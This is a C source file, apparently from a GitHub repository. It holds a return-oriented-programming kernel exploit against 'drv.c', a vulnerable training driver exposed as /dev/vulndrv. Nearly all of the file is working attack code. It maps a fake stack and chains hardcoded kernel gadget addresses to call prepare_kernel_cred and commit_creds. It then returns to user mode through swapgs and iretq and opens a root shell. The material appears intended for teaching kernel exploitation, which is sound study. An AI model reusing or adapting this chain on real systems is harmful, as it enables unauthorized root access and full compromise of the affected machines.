Permalink
Cannot retrieve contributors at this time
/** | |
* ROP exploit for drv.c kernel module | |
* | |
* gcc rop_exploit.c -O2 -o rop_exploit | |
* | |
* Email: vnik@cyseclabs.com | |
* Vitaly Nikolenko | |
*/ | |
#define _GNU_SOURCE | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <errno.h> | |
#include <sys/mman.h> | |
#include <assert.h> | |
#include "drv.h" | |
#define DEVICE_PATH "/dev/vulndrv" | |
unsigned long user_cs; | |
unsigned long user_ss; | |
unsigned long user_rflags; | |
static void save_state() { | |
asm( | |
"movq %%cs, %0\n" | |
"movq %%ss, %1\n" | |
"pushfq\n" | |
"popq %2\n" | |
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); | |
} | |
void shell(void) { | |
if(!getuid()) | |
system("/bin/sh"); | |
exit(0); | |
} | |
void usage(char *bin_name) { | |
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); | |
} | |
int main(int argc, char *argv[]) | |
{ | |
int fd; | |
struct drv_req req; | |
void *mapped, *temp_stack; | |
unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; | |
if (argc != 3) { | |
usage(argv[0]); | |
return -1; | |
} | |
req.offset = strtoul(argv[1], NULL, 10); | |
base_addr = strtoul(argv[2], NULL, 16); | |
printf("array base address = 0x%lx\n", base_addr); | |
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; | |
fprintf(stdout, "stack address = 0x%lx\n", stack_addr); | |
mmap_addr = stack_addr & 0xffff0000; | |
assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); | |
assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000); | |
save_state(); | |
fake_stack = (unsigned long *)(stack_addr); | |
*fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ | |
fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); | |
*fake_stack ++= 0x0UL; /* NULL */ | |
*fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ | |
*fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ | |
//*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ | |
*fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions | |
*fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */ | |
*fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret | |
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder | |
*fake_stack ++= 0xffffffff81053056UL; /* iretq */ | |
*fake_stack ++= (unsigned long)shell; /* spawn a shell */ | |
*fake_stack ++= user_cs; /* saved CS */ | |
*fake_stack ++= user_rflags; /* saved EFLAGS */ | |
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ | |
*fake_stack ++= user_ss; /* saved SS */ | |
//map = mmap((void *)..., ..., 3, 0x32, 0, 0); | |
fd = open(DEVICE_PATH, O_RDONLY); | |
if (fd == -1) { | |
perror("open"); | |
} | |
ioctl(fd, 0, &req); | |
return 0; | |
} |